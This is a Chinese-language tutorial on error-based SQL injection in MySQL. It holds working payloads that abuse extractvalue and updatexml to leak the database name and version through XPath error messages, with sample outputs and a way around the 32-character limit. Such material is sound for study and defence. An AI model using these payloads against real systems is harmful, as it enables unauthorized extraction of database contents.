错误注入

一、原理

• 报错注入在没法用union联合查询时用，但前提还是不能过滤一些关键的函数。
• 报错注入就是利用了数据库的某些机制，人为地制造错误条件，使得查询结果能够出现在错误信息中。
• 对于INSERT和UPDATE语句同样可以使用报错注入的方式

二、Xpath语法错误

• 利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。

1.extractvalue函数

函数原型：extractvalue(xml_document,Xpath_string)
正常语法：extractvalue(xml_document,Xpath_string);
第一个参数：xml_document是string格式，为xml文档对象的名称
第二个参数：Xpath_string是xpath格式的字符串
作用：从目标xml中返回包含所查询值的字符串

• 第二个参数是要求符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里，因此可以利用。
  • pyload：id='and(select extractvalue("anything",concat('~',(select语句))))

  id='and(select extractvalue(1,concat('~',(select database()))))
  报错显示：1105 - XPATH syntax error: '~school'
  
  id='and(select extractvalue(1,concat(0x7e,@@version)))
  报错显示： 1105 - XPATH syntax error: '~8.0.36'

• extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页，一次查看最多32位

2.updatexml函数

函数原型：updatexml(xml_document,xpath_string,new_value)
正常语法：updatexml(xml_document,xpath_string,new_value)
第一个参数：xml_document是string格式，为xml文档对象的名称 第二个参数：xpath_string是xpath格式的字符串
第三个参数：new_value是string格式，替换查找到的负荷条件的数据 作用：改变文档中符合条件的节点的值

• 第二个参数跟extractvalue函数的第二个参数一样，因此也可以利用，且利用方式相同
  • payload：id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

  'and(select updatexml(1,concat('~',(select database())),1))
  报错显示：1105 - XPATH syntax error: '~school'
  
  'and(select updatexml(1,concat(0x7e,version()),1))
  报错显示：1105 - XPATH syntax error: '~8.0.36'